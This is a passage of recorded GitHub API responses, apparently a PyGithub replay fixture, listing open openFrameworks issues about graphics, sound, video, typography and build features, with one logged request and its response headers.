texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":166209,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/172"},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":171,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":166208,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/171"},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731,"closed_issues":0},"number":167,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"closed_at":null,"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":165898,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/167"},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":160,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":165537,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/160"},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":153,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":165409,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/153"},{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":140,"assignee":null,"closed_at":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/140"},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"assignee":null,"closed_at":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/128"},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":126,"assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"closed_at":null,"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/126"},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090,"closed_issues":0},"number":124,"assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"closed_at":null,"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/124"},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":121,"assignee":null,"closed_at":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/121"},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"assignee":null,"closed_at":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/115"},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"assignee":null,"closed_at":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/107"},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"assignee":null,"closed_at":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/91"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '43018'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"caade974e6dd6e7ac7febf9cb0494e92"'), ('date', 'Tue, 29 May 2012 06:43:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"assignee":null,"closed_at":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":513779,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/288"},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"assignee":null,"closed_at":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":445829,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/275"},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"assignee":null,"closed_at":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":433297,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/271"},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":426050,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/265"},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"assignee":null,"closed_at":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":425675,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/264"},{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"closed_at":null,"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and 